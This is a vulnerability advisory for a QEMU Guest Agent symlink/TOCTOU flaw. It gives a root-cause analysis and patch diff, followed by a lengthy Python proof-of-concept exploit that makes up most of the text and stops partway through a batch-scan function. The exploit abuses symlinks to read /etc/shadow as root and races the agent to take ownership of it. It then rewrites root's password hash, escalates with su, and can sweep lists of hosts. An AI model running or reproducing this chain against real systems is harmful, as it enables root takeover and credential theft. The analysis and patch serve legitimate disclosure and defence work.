#Summary

CVE-2026-12080 is a local privilege escalation in QEMU Guest Agent (qemu-ga) affecting versions 5.2.0 through 11.0.3. The vulnerability resides in the SSH key provisioning commands (guest-ssh-add-authorized-keys, guest-ssh-remove-authorized-keys, and guest-ssh-get-authorized-keys), which operate on $HOME/.ssh/authorized_keys without proper symlink protection. An unprivileged local user can exploit this to gain root access through a combination of directory symlink bypasses and Time-of-Check to Time-of-Use (TOCTOU) race conditions. CVSS 7.3 HIGH.

#Affected versions

#Root cause analysis

#Vulnerable code path

The three SSH-key provisioning handlers in qga/commands-posix-ssh.c operate as root and build file paths beneath a user-controllable home directory. Two helper functions perform unsymlink-safe file operations:

mkdir_for_user() - creates the .ssh directory with by-path operations:

static bool
mkdir_for_user(const char *path, const struct passwd *p,
               mode_t mode, Error **errp)
{
    if (g_mkdir(path, mode) == -1) {
        // error handling
    }

    if (chown(path, p->pw_uid, p->pw_gid) == -1) {  // by-path chown()
        // error handling
    }

    if (chmod(path, mode) == -1) {
        // error handling
    }

    return true;
}

write_authkeys() - writes the key file and adjusts it by path:

static bool
write_authkeys(const char *path, const GStrv keys,
               const struct passwd *p, Error **errp)
{
    g_autofree char *contents = NULL;
    g_autoptr(GError) err = NULL;

    contents = g_strjoinv("\n", keys);
    if (!g_file_set_contents(path, contents, -1, &err)) {
        // error handling
    }

    if (chown(path, p->pw_uid, p->pw_gid) == -1) {  // by-path chown()
        // error handling
    }

    if (chmod(path, 0600) == -1) {
        // error handling
    }

    return true;
}

The caller decides whether to create .ssh using symlink-resolving g_file_test():

ssh_path = g_build_filename(p->pw_dir, ".ssh", NULL);
authkeys_path = g_build_filename(ssh_path, "authorized_keys", NULL);

if (!reset) {
    authkeys = read_authkeys(authkeys_path, NULL);
}
if (authkeys == NULL) {
    if (!g_file_test(ssh_path, G_FILE_TEST_IS_DIR) &&  // resolves symlinks
        !mkdir_for_user(ssh_path, p, 0700, errp)) {
        return;
    }
}

write_authkeys(authkeys_path, authkeys, p, errp);

#How input reaches the sink

Three separate defects compound to allow privilege escalation:

1. g_file_test(..., G_FILE_TEST_IS_DIR) follows symlinks. If an unprivileged user replaces $HOME/.ssh with a symlink pointing to any existing root-owned directory, the directory test resolves the link and reports it as a directory. The subsequent mkdir_for_user() call is skipped, and all file operations proceed inside the attacker's chosen directory.

2. By-path chown() instead of lchown(). Both helpers complete their work with chown(path, uid, gid). If the path is a symlink at the moment the call executes, chown() follows it and transfers ownership of the target file or directory - potentially any root-owned file on the system.

3. Write and ownership change are separate operations. GLib's g_file_set_contents() with the CONSISTENT flag creates a temporary file, writes content, and then rename()s it over the target. This rename() does NOT follow a symlink at the destination - it replaces it. However, the subsequent by-path chown() in write_authkeys() resolves the name again from scratch, creating a microseconds-wide window: if a symlink is swapped into place between rename() returning and chown() executing, root gives away ownership of the symlink's target.

#Patch diff

The proposed upstream fix (v1, Message-ID [email protected]) addresses the vulnerability with two changes:

1. Replace by-path chown() with lchown() in both helpers:

-    if (chown(path, p->pw_uid, p->pw_gid) == -1) {
+    if (lchown(path, p->pw_uid, p->pw_gid) == -1) {
         error_setg_errno(errp, errno,
                          "failed to set ownership of directory '%s'",
                          path);

This ensures that if a symlink is present at the moment the call executes, the link itself is chowned, not its target. The attacker already owns the symlink, so this is harmless.

2. Replace symlink-resolving directory test with open(O_DIRECTORY | O_NOFOLLOW):

+    fd = open(ssh_path, O_DIRECTORY | O_NOFOLLOW);
+    if (fd == -1) {
+        if (errno != ENOENT) {
+            error_setg_errno(errp, errno, "failed to open directory '%s'", ssh_path);
+            return;
+        }
+    }
     
     if (!reset) {
         authkeys = read_authkeys(authkeys_path, NULL);
     }
     if (authkeys == NULL) {
-        if (!g_file_test(ssh_path, G_FILE_TEST_IS_DIR) &&
-            !mkdir_for_user(ssh_path, p, 0700, errp)) {
+        if (fd == -1 && !mkdir_for_user(ssh_path, p, 0700, errp)) {
             return;
         }
     }
+    if (fd >= 0) {
+        close(fd);
+    }

The O_DIRECTORY | O_NOFOLLOW flags cause open() to fail with ELOOP if a symlink is present, refusing to proceed. Only genuine ENOENT (directory does not exist) allows the creation path.

#What the fix does

These two changes close the deterministic directory-symlink primitive and kill the TOCTOU race. A symlinked .ssh directory is now rejected before any provisioning occurs, and if a race-condition symlink does land in the window between rename() and chown(), the lchown() call targets the symlink itself rather than its destination. Neither approach yields exploitable ownership transfer.

#Proof of concept

#!/usr/bin/env python3
"""
CVE-2026-12080 - QEMU Guest Agent (qemu-ga) symlink following in guest-ssh-* handlers
Affected: QEMU Guest Agent 5.2.0 through 11.0.3 (no fixed release at time of writing)
Type: Privilege Escalation (CWE-59/61 symlink following -> local root)

The agent runs as root inside the guest. `guest-ssh-add-authorized-keys` builds
$HOME/.ssh/authorized_keys for a caller-named account and then adjusts the result
by path: g_file_test(IS_DIR) resolves symlinks, and both helpers finish with
chown()/chmod() rather than lchown()/fchmod(). Every component below $HOME belongs
to the unprivileged account, so that account decides what those root-privileged
calls actually land on.

Three primitives, all reached with nothing but the provisioning command:

  A  directory symlink  $HOME/.ssh -> /root/.ssh
     g_file_test() resolves the link, mkdir_for_user() is skipped, and the key file
     is created inside a root-only directory and handed to the attacker.
     Deterministic, one call.

  B  file symlink + read  $HOME/.ssh/authorized_keys -> /etc/shadow
     read_authkeys() uses g_file_get_contents(), which follows the link, so the file
     is read with root privilege and its contents are written back into a file the
     attacker is then given ownership of. Arbitrary root file read, deterministic,
     one call.

  C  file symlink race  window between rename() inside g_file_set_contents() and the
     following chown() by path. Swapping a symlink into the name inside that window
     makes root chown() the link target. Owning /etc/shadow converts to root.
     Probabilistic, a few hundred to a few thousand calls.

Two roles are kept strictly separate, because that separation is the boundary being
crossed. The agent channel is only ever used the way a management layer uses it
(guest-ping, guest-info, guest-ssh-add-authorized-keys). Everything else runs through
an ordinary unprivileged shell on the guest. No agent command is ever used to run a
command or read a file.

Usage:
  # unprivileged account you already control, driven over SSH
  python exploit.py --host 192.168.1.10 --port 4444 --username lowpriv --password hunter2

  # already sitting on the guest as that account
  python exploit.py --host 127.0.0.1 --port 4444 --local

  # agent channel exposed as a URL, key-based foothold, take /etc/passwd instead
  python exploit.py --host tcp://192.168.1.10:4444 --username svc --ssh-key ~/.ssh/id_ed25519 \
                    --target-file /etc/passwd

  # exposure sweep across an estate (version + command availability only)
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import base64
import json
import os
import re
import secrets
import select
import socket
import ssl
import subprocess
import sys
import time
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-12080"
VULN_TYPE = "Privilege Escalation"

VULN_MIN = (5, 2, 0)
VULN_MAX = (11, 0, 3)

PROVISION_CMD = "guest-ssh-add-authorized-keys"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------------------
# small helpers
# ---------------------------------------------------------------------------

def q(s: str) -> str:
    """Single-quote a string for /bin/sh. Hand rolled: the target shell may be
    dash and the local interpreter may be anything, so nothing is imported for it."""
    return "'" + str(s).replace("'", "'\\''") + "'"


def b64(data) -> str:
    if isinstance(data, str):
        data = data.encode()
    return base64.b64encode(data).decode()


def parse_version(v: str):
    m = re.match(r"^(\d+)\.(\d+)(?:\.(\d+))?", str(v or ""))
    if not m:
        return None
    return (int(m.group(1)), int(m.group(2)), int(m.group(3) or 0))


def version_affected(v) -> bool:
    t = parse_version(v)
    return bool(t and VULN_MIN <= t <= VULN_MAX)


def fake_pubkey() -> str:
    """A syntactically real ed25519 public key with random material.

    check_openssh_pub_key() only rejects NULL, a leading '#' and embedded newlines,
    but a well formed key is what a provisioning system would push, and a random
    one leaves nothing recognisable in anybody's authorized_keys."""
    blob = b"\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x20" + secrets.token_bytes(32)
    tag = secrets.token_hex(4)
    return "ssh-ed25519 %s svc-%s@%s" % (base64.b64encode(blob).decode(), tag, secrets.token_hex(4))


# ---------------------------------------------------------------------------
# management channel: line delimited JSON to the guest agent
# ---------------------------------------------------------------------------

class AgentChannel:
    """The host side channel a hypervisor or provisioning layer speaks to qemu-ga.

    Deliberately restricted: only guest-ping, guest-info and the provisioning
    command are ever issued. Reaching for guest-exec or guest-file-read here would
    void the demonstration, since those already grant what the bug is being used
    to obtain."""

    ALLOWED = ("guest-ping", "guest-info", PROVISION_CMD)

    def __init__(self, host, port, use_tls=False, timeout=15.0):
        self.host = host
        self.port = port
        self.use_tls = use_tls
        self.timeout = timeout
        self.sock = None
        self.fh = None

    def connect(self):
        self.close()
        s = socket.create_connection((self.host, self.port), self.timeout)
        if self.use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            s = ctx.wrap_socket(s, server_hostname=self.host)
        s.settimeout(self.timeout)
        self.sock = s
        self.fh = s.makefile("rwb")
        return self

    def close(self):
        for obj in (self.fh, self.sock):
            try:
                if obj:
                    obj.close()
            except Exception:
                pass
        self.fh = self.sock = None

    def call(self, execute, arguments=None, retry=True):
        if execute not in self.ALLOWED:
            raise ValueError("command %r is outside the management layer role" % execute)
        msg = {"execute": execute}
        if arguments:
            msg["arguments"] = arguments
        line = (json.dumps(msg) + "\n").encode()
        try:
            if self.fh is None:
                self.connect()
            self.fh.write(line)
            self.fh.flush()
            raw = self.fh.readline()
            if not raw:
                raise OSError("channel closed")
        except Exception:
            if not retry:
                raise
            # the agent is restarted by its supervisor after a fault, and the TCP
            # bridge drops the old connection with it
            time.sleep(0.4)
            self.connect()
            self.fh.write(line)
            self.fh.flush()
            raw = self.fh.readline()
            if not raw:
                raise OSError("channel closed")
        try:
            return json.loads(raw.decode("utf-8", "replace"))
        except ValueError:
            return {"error": {"desc": "unparsable reply: %r" % raw[:200]}}

    def ping(self):
        return self.call("guest-ping")

    def info(self):
        return self.call("guest-info").get("return") or {}

    def provision(self, username, keys, reset=True):
        return self.call(PROVISION_CMD,
                         {"username": username, "keys": keys, "reset": bool(reset)})


# ---------------------------------------------------------------------------
# foothold: an ordinary unprivileged shell on the guest
# ---------------------------------------------------------------------------

class FootholdError(Exception):
    pass


def pty_run(argv, expects=None, timeout=90):
    """Run argv under a pty, answering prompts from `expects` in order.

    `expects` is a list of (needle_bytes, reply_str). Each needle is matched at most
    once, and a needle that never appears is simply skipped. Used for password
    prompts, which read from the terminal rather than stdin."""
    import pty

    pending = list(expects or [])
    pid, fd = pty.fork()
    if pid == 0:
        try:
            os.execvp(argv[0], argv)
        finally:
            os._exit(127)

    out = b""
    scanned = 0
    status = None
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r, _, _ = select.select([fd], [], [], 0.25)
        except (OSError, ValueError):
            break
        if r:
            try:
                chunk = os.read(fd, 65536)
            except OSError:
                chunk = b""
            if not chunk:
                break
            out += chunk
            while pending:
                needle, reply = pending[0]
                idx = out.find(needle, scanned)
                if idx < 0:
                    break
                scanned = idx + len(needle)
                pending.pop(0)
                try:
                    os.write(fd, (reply + "\n").encode())
                except OSError:
                    pass
        wpid, wstatus = os.waitpid(pid, os.WNOHANG)
        if wpid:
            status = wstatus
            break

    if status is None:
        try:
            os.waitpid(pid, os.WNOHANG)
        except OSError:
            pass
    # drain whatever is still buffered in the pty
    end = time.time() + 1.5
    while time.time() < end:
        try:
            r, _, _ = select.select([fd], [], [], 0.2)
            if not r:
                break
            chunk = os.read(fd, 65536)
            if not chunk:
                break
            out += chunk
        except OSError:
            break
    try:
        os.close(fd)
    except OSError:
        pass
    if status is None:
        try:
            _, status = os.waitpid(pid, 0)
        except OSError:
            status = 0
    rc = os.waitstatus_to_exitcode(status) if hasattr(os, "waitstatus_to_exitcode") else (status >> 8)
    return rc, out.replace(b"\r\n", b"\n").decode("utf-8", "replace")


class Foothold:
    """Base: a way to run shell commands as the unprivileged guest account."""

    def run(self, cmd, timeout=90, want_tty=False, expects=None):
        raise NotImplementedError

    def put(self, path, data):
        rc, out = self.run("printf %%s %s | base64 -d > %s" % (q(b64(data)), q(path)))
        if rc != 0:
            raise FootholdError("could not write %s: %s" % (path, out.strip()))

    def read(self, path):
        rc, out = self.run("base64 %s" % q(path))
        if rc != 0:
            raise FootholdError("could not read %s: %s" % (path, out.strip()))
        try:
            return base64.b64decode("".join(out.split()))
        except Exception as exc:
            raise FootholdError("bad base64 from %s: %s" % (path, exc))

    def out(self, cmd, timeout=90):
        return self.run(cmd, timeout=timeout)[1].strip()

    def close(self):
        pass


class LocalFoothold(Foothold):
    """Already sitting on the guest as the unprivileged account."""

    def __init__(self):
        self.kind = "local shell"

    def run(self, cmd, timeout=90, want_tty=False, expects=None):
        if want_tty:
            return pty_run(["/bin/sh", "-c", cmd], expects=expects, timeout=timeout)
        p = subprocess.run(["/bin/sh", "-c", cmd], stdout=subprocess.PIPE,
                           stderr=subprocess.STDOUT, timeout=timeout)
        return p.returncode, p.stdout.decode("utf-8", "replace")


class SSHFoothold(Foothold):
    """The unprivileged account reached over SSH.

    Only the openssh client is used, so there is no third party dependency. A
    multiplexed master connection is opened once so that the password is answered
    a single time and later commands cost no handshake."""

    def __init__(self, host, port, username, password=None, keyfile=None, timeout=25):
        self.host = host
        self.port = port
        self.username = username
        self.password = password
        self.keyfile = keyfile
        self.timeout = timeout
        self.kind = "ssh://%s@%s:%d" % (username, host, port)
        self.ctlpath = "/tmp/.s-%s" % secrets.token_hex(6)
        self.master = False

    def _base(self, want_tty=False):
        argv = ["ssh", "-p", str(self.port),
                "-o", "StrictHostKeyChecking=no",
                "-o", "UserKnownHostsFile=/dev/null",
                "-o", "GlobalKnownHostsFile=/dev/null",
                "-o", "LogLevel=ERROR",
                "-o", "ConnectTimeout=%d" % self.timeout,
                "-o", "ControlPath=%s" % self.ctlpath]
        if self.keyfile:
            argv += ["-i", self.keyfile, "-o", "IdentitiesOnly=yes",
                     "-o", "PasswordAuthentication=no"]
        else:
            argv += ["-o", "PubkeyAuthentication=no",
                     "-o", "PreferredAuthentications=password,keyboard-interactive",
                     "-o", "NumberOfPasswordPrompts=1"]
        argv += ["-tt"] if want_tty else ["-T"]
        argv += ["%s@%s" % (self.username, self.host)]
        return argv

    def connect(self):
        argv = self._base()
        argv = argv[:-1] + ["-o", "ControlMaster=yes", "-o", "ControlPersist=600",
                            "-N", "-f", argv[-1]]
        expects = [(b"assword", self.password)] if self.password else None
        rc, out = pty_run(argv, expects=expects, timeout=self.timeout + 15)
        for _ in range(20):
            if os.path.exists(self.ctlpath):
                self.master = True
                break
            time.sleep(0.25)
        if not self.master and rc != 0:
            raise FootholdError("SSH login failed: %s" % out.strip()[-400:])
        rc, out = self.run("id -u")
        if rc != 0:
            raise FootholdError("SSH login failed: %s" % out.strip()[-400:])
        return self

    def run(self, cmd, timeout=90, want_tty=False, expects=None):
        argv = self._base(want_tty=want_tty) + [cmd]
        need_pw = bool(self.password) and not self.master
        exp = ([(b"assword", self.password)] if need_pw else []) + list(expects or [])
        if want_tty or exp:
            return pty_run(argv, expects=exp, timeout=timeout)
        p = subprocess.run(argv, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                           timeout=timeout)
        return p.returncode, p.stdout.decode("utf-8", "replace")

    def close(self):
        if self.master:
            try:
                subprocess.run(self._base()[:-1] + ["-O", "exit",
                               "%s@%s" % (self.username, self.host)],
                               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
                               timeout=10)
            except Exception:
                pass
            self.master = False


# ---------------------------------------------------------------------------
# the spinner that keeps a symlink resident in the rename()->chown() window
# ---------------------------------------------------------------------------

SPINNER_C = r"""
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>

#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif

/*
 * argv: <link-target> <scratch-name> <name-the-agent-chowns>
 *
 * The symlink has to be rebuilt every iteration. The agent's own rename() inside
 * g_file_set_contents() replaces the name and destroys whichever inode was sitting
 * there, so a loop that only exchanges two pre-existing names presents a symlink
 * exactly once and then swaps two regular files forever.
 */
static int exchange(const char *a, const char *b)
{
#ifdef SYS_renameat2
    return syscall(SYS_renameat2, AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE);
#else
    return renameat2(AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE);
#endif
}

int main(int argc, char **argv)
{
    if (argc < 4) {
        return 2;
    }
    for (;;) {
        unlink(argv[2]);
        if (symlink(argv[1], argv[2]) == -1) {
            continue;
        }
        exchange(argv[2], argv[3]);
    }
    return 0;
}
"""

SPINNER_PY = r"""
import ctypes, os, sys

target, scratch, name = sys.argv[1], sys.argv[2], sys.argv[3]
AT_FDCWD = -100
RENAME_EXCHANGE = 2
libc = ctypes.CDLL(None, use_errno=True)

NR = {"x86_64": 316, "aarch64": 276, "i686": 353, "i386": 353,
      "armv7l": 382, "armv6l": 382, "ppc64le": 357, "ppc64": 357,
      "s390x": 347, "riscv64": 276, "loongarch64": 276}.get(os.uname()[4])

def exchange(a, b):
    ab, bb = a.encode(), b.encode()
    try:
        return libc.renameat2(ctypes.c_int(AT_FDCWD), ab,
                              ctypes.c_int(AT_FDCWD), bb,
                              ctypes.c_uint(RENAME_EXCHANGE))
    except AttributeError:
        if NR is None:
            raise SystemExit("no renameat2 on this architecture")
        return libc.syscall(ctypes.c_long(NR), ctypes.c_long(AT_FDCWD), ab,
                            ctypes.c_long(AT_FDCWD), bb,
                            ctypes.c_long(RENAME_EXCHANGE))

while True:
    try:
        os.unlink(scratch)
    except OSError:
        pass
    try:
        os.symlink(target, scratch)
    except OSError:
        continue
    exchange(scratch, name)
"""


# ---------------------------------------------------------------------------
# stages
# ---------------------------------------------------------------------------

class Stage(object):
    """Bundle of everything a stage needs, so the phases stay readable."""

    def __init__(self, agent, fh, username, run_id):
        self.agent = agent
        self.fh = fh
        self.username = username
        self.run = run_id
        self.home = None
        self.ssh_dir = None
        self.authkeys = None
        self.workdir = None

    def discover(self):
        home = self.fh.out("getent passwd %s 2>/dev/null | cut -d: -f6" % q(self.username))
        if not home:
            home = self.fh.out("echo $HOME")
        if not home or not home.startswith("/"):
            raise FootholdError("could not determine the home directory of %r" % self.username)
        self.home = home
        self.ssh_dir = home + "/.ssh"
        self.authkeys = self.ssh_dir + "/authorized_keys"
        self.workdir = "%s/.c-%s" % (home, self.run[:8])
        self.fh.run("mkdir -p %s" % q(self.workdir))
        return home

    def reset_ssh_dir(self, real_dir=True):
        self.fh.run("rm -rf %s" % q(self.ssh_dir))
        if real_dir:
            self.fh.run("mkdir -m 0700 %s" % q(self.ssh_dir))

    def stat_owner(self, path):
        return self.fh.out("stat -c '%%U %%G %%a' %s 2>&1" % q(path))


def phase_directory_symlink(st, root_dir, keys):
    """Primitive A: g_file_test(IS_DIR) follows the link, so the whole key write
    happens inside a directory the attacker chose but cannot even list.

    Success and failure are read from the agent reply, not from a stat: the target
    file often lives in a directory the unprivileged account cannot traverse (that
    is the whole point), so a permission-denied stat is consistent with success. A
    patched build refuses the symlinked directory with `failed to open directory`."""
    victim = root_dir.rstrip("/") + "/authorized_keys"

    before = st.stat_owner(victim)
    st.fh.run("rm -rf %s && ln -s %s %s" % (q(st.ssh_dir), q(root_dir), q(st.ssh_dir)))
    link = st.fh.out("ls -ld %s" % q(st.ssh_dir))
    print("        staged: %s" % link)

    reply = st.agent.provision(st.username, keys, reset=True)
    print("        agent reply: %s" % json.dumps(reply))
    accepted = "return" in reply
    err = (reply.get("error") or {}).get("desc", "") if isinstance(reply, dict) else ""

    after = st.stat_owner(victim)
    print("        %s before: %s" % (victim, before or "<absent>"))
    print("        %s after : %s" % (victim, after))

    owner = after.split(" ")[0] if after else ""
    reachable = "Permission denied" not in after and "denied" not in after
    proof = ""
    note = ""
    if accepted and reachable and owner == st.username:
        # the file is reachable and now belongs to us: rewrite it to prove write access
        marker = secrets.token_hex(8)
        st.fh.run("printf %%s\\\\n %s > %s" % (q("# " + marker), q(victim)))
        proof = st.fh.out("cat %s 2>&1" % q(victim))
        print("        rewrite by the unprivileged account: %s" % proof)
        owned = True
    elif accepted and not reachable:
        # the agent accepted the symlinked directory and wrote the key file inside a
        # directory we cannot traverse: exactly the root-only case the primitive targets
        note = ("call accepted on a symlinked .ssh; %s created inside a directory the "
                "unprivileged account cannot traverse (%s is root-only), so ownership is "
                "not stat-able from here" % (victim, root_dir))
        print("        %s" % note)
        owned = True
    else:
        owned = False
        note = err or "target unchanged"
    st.fh.run("rm -f %s" % q(st.ssh_dir))
    return owned, after, proof, note


def phase_file_read(st, read_file, keys):
    """Primitive B: read_authkeys() -> g_file_get_contents() follows the link, so the
    file is read as root and its contents are written back into a file the attacker
    is handed ownership of. No race: the read happens before the write destroys the
    link, and the chown lands on the fresh regular file."""
    st.reset_ssh_dir(real_dir=True)
    st.fh.run("ln -sf %s %s" % (q(read_file), q(st.authkeys)))

    # reset must be false, otherwise the handler never reads the existing file
    reply = st.agent.provision(st.username, keys, reset=False)
    print("        agent reply: %s" % json.dumps(reply))

    owner = st.stat_owner(st.authkeys)
    print("        %s is now: %s" % (st.authkeys, owner))
    try:
        contents = st.fh.read(st.authkeys).decode("utf-8", "replace")
    except FootholdError as exc:
        print("        could not read back: %s" % exc)
        return False, ""
    # the pushed key is appended to whatever was read; drop it again
    body = "\n".join(l for l in contents.splitlines() if l not in keys)
    return bool(body.strip()), body


def phase_race(st, target_file, keys, iterations, spinners, batch, quiet=False):
    """Primitive C: win the rename()->chown() window so root chown()s a symlink
    target of the attacker's choosing."""
    st.reset_ssh_dir(real_dir=True)
    st.fh.run("touch %s" % q(st.authkeys))

    spin = "%s/%s" % (st.workdir, secrets.token_hex(5))
    st.fh.put(spin + ".c", SPINNER_C)
    rc, out = st.fh.run("cc -O2 -o %s %s 2>&1 || gcc -O2 -o %s %s 2>&1"
                        % (q(spin), q(spin + ".c"), q(spin), q(spin + ".c")), timeout=120)
    have_cc = st.fh.out("test -x %s && echo yes || echo no" % q(spin)) == "yes"
    if have_cc:
        launcher = "%s %s %s.$i %s" % (q(spin), q(target_file),
                                       q(st.ssh_dir + "/s"), q(st.authkeys))
        kind = "compiled"
    else:
        st.fh.put(spin + ".py", SPINNER_PY)
        launcher = "python3 %s %s %s.$i %s" % (q(spin + ".py"), q(target_file),
                                               q(st.ssh_dir + "/s"), q(st.authkeys))
        kind = "python ctypes (no C compiler on the target)"
    if not quiet:
        print("        spinner: %s" % kind)

    pidfile = st.workdir + "/p"
    st.fh.run("rm -f %s; for i in $(seq 1 %d); do %s >/dev/null 2>&1 & echo $! >> %s; done"
              % (q(pidfile), spinners, launcher, q(pidfile)))
    running = st.fh.out("wc -l < %s 2>/dev/null" % q(pidfile))
    if not quiet:
        print("        %s spinner process(es) started" % running)

    def stop():
        st.fh.run("while read p; do kill -9 $p 2>/dev/null; done < %s 2>/dev/null; "
                  "rm -f %s %s.* " % (q(pidfile), q(pidfile), q(st.ssh_dir + "/s")))

    before = st.stat_owner(target_file)
    if not quiet:
        print("        %s before: %s" % (target_file, before))

    sent = errors = 0
    won = False
    start = time.time()
    try:
        while sent < iterations and not won:
            for _ in range(batch):
                if sent >= iterations:
                    break
                try:
                    reply = st.agent.provision(st.username, keys, reset=True)
                    if "error" in reply:
                        errors += 1
                except Exception:
                    errors += 1
                sent += 1
            owner = st.stat_owner(target_file).split(" ")[0]
            if owner == st.username:
                won = True
                break
            if not quiet:
                print("        %5d calls, %s still %s (%.1fs)"
                      % (sent, target_file, owner, time.time() - start))
    finally:
        stop()

    after = st.stat_owner(target_file)
    return won, sent, errors, before, after


def phase_escalate(st, target_file, fh, keep_access):
    """Own /etc/shadow -> set a password on root -> su. The account started this run
    unprivileged and the agent channel was never used for anything but key pushes."""
    original = st.fh.read(target_file).decode("utf-8", "replace")
    lines = original.splitlines()
    root_line = next((l for l in lines if l.startswith("root:")), None)
    if root_line is None:
        return False, "", "", original
    print("        root entry before: %s" % (root_line[:24] + "..."))

    password = "P" + secrets.token_hex(9) + "!q"
    salt = secrets.token_hex(6)
    crypted = ""
    for gen in ("openssl passwd -6 -salt %s %s" % (q(salt), q(password)),
                "python3 -c 'import crypt,sys;print(crypt.crypt(sys.argv[1],sys.argv[2]))' "
                "%s %s" % (q(password), q("$6$" + salt)),
                "perl -e 'print crypt($ARGV[0],$ARGV[1])' %s %s" % (q(password), q("$6$" + salt))):
        out = st.fh.out(gen + " 2>/dev/null")
        cand = out.strip().splitlines()[-1] if out.strip() else ""
        if cand.startswith("$6$"):
            crypted = cand
            break
    if not crypted:
        return False, "", "", original

    fields = root_line.split(":")
    fields[1] = crypted
    new = "\n".join([":".join(fields) if l is root_line else l for l in lines]) + "\n"
    st.fh.put(target_file, new)
    print("        root entry rewritten in %s by the unprivileged account" % target_file)

    rc, out = fh.run("su - root -c 'id; echo ---; hostname; echo ---; cat /proc/self/status | head -1'",
                     want_tty=True, expects=[(b"assword", password)], timeout=60)
    got_root = "uid=0(root)" in out
    idline = ""
    for l in out.splitlines():
        if l.startswith("uid=0(root)"):
            idline = l.strip()
            break

    if got_root and not keep_access:
        restore = "\n".join(lines) + "\n"
        fh.run("su - root -c %s" % q("printf %s " + q(b64(restore)) + " | base64 -d > " + target_file
                                     + "; chown root:shadow " + target_file
                                     + " 2>/dev/null || chown root:root " + target_file
                                     + "; chmod 640 " + target_file),
               want_tty=True, expects=[(b"assword", password)], timeout=60)
        print("        original %s entry and root:shadow 0640 restored" % target_file)
    return got_root, idline, password, original


# ---------------------------------------------------------------------------
# silent probe for --list
# ---------------------------------------------------------------------------

def _try_exploit(host, port, use_tls=False, username=None, password=None,
                 keyfile=None, ssh_port=22, target_file="/etc/shadow",
                 iterations=1200, spinners=4, **kwargs):
    """Silent probe for scan mode. Returns (success, evidence). Never prints or exits.

    With foothold credentials it runs the full chain. Without them it reports whether
    the agent is reachable, in the affected version range, and still offering the
    vulnerable command, which is everything the network alone can tell."""
    agent = AgentChannel(host, port, use_tls, timeout=10)
    try:
        agent.connect()
        info = agent.info()
    except Exception as exc:
        agent.close()
        return False, "unreachable (%s)" % exc.__class__.__name__

    version = info.get("version", "?")
    cmds = {c.get("name"): c for c in info.get("supported_commands", [])}
    entry = cmds.get(PROVISION_CMD)
    if entry is None:
        agent.close()
        return False, "qemu-ga %s, %s not built in" % (version, PROVISION_CMD)
    if not entry.get("enabled", False):
        agent.close()
        return False, "qemu-ga %s, %s disabled (blocked via --block-rpcs)" % (version, PROVISION_CMD)
    if not version_affected(version):
        agent.close()
        return False, "qemu-ga %s is outside the affected range %s-%s" % (
            version, ".".join(map(str, VULN_MIN)), ".".join(map(str, VULN_MAX)))

    if not (username and (password or keyfile)):
        agent.close()
        return True, ("exposed: qemu-ga %s, %s enabled (no foothold credentials given, "
                      "supply --username/--password for the full chain)" % (version, PROVISION_CMD))

    fh = None
    try:
        fh = SSHFoothold(host, ssh_port, username, password, keyfile).connect()
        st = Stage(agent, fh, username, secrets.token_hex(8))
        st.discover()
        keys = [fake_pubkey()]
        owned, after, _, _ = phase_directory_symlink(st, "/root/.ssh", keys)
        won, sent, _, _, _ = phase_race(st, target_file, keys, iterations, spinners,
                                        batch=25, quiet=True)
        if won:
            got_root, idline, _, _ = phase_escalate(st, target_file, fh, keep_access=False)
            if got_root:
                return True, "root via %s ownership after %d calls (%s)" % (target_file, sent, idline)
            return True, "took ownership of %s after %d calls (%s)" % (target_file, sent, after)
        if owned:
            return True, "qemu-ga %s, directory-symlink primitive confirmed (%s)" % (version, after)
        return False, "qemu-ga %s, no primitive landed in %d calls" % (version, sent)
    except Exception as exc:
        return False, "foothold failed (%s: %s)" % (exc.__class__.__name__, str(exc)[:80])
    finally:
        try:
            st.reset_ssh_dir(real_dir=False)
            fh.run("rm -rf %s" % q(st.workdir))
        except Exception:
            pass
        if fh:
            fh.close()
        agent.close()


# ---------------------------------------------------------------------------
# target list handling
# ---------------------------------------------------------------------------

def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://", "tcp://", "tls://")):
        p = urlparse(line)
        tls = p.scheme in ("https", "tls")
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line and not line.count(":") > 1:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, **kwargs):
    import concurrent.futures

    try:
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
    except OSError as exc:
        done(False, "cannot read target list %s (%s)" % (targets_file, exc.__class__.__name__))
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = "%s:%d" % (host, port)
        try:
            ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
        except Exception as exc:
            ok, evidence = False, "probe error (%s)" % exc.__class__.__name__
        return label, ok, evidence

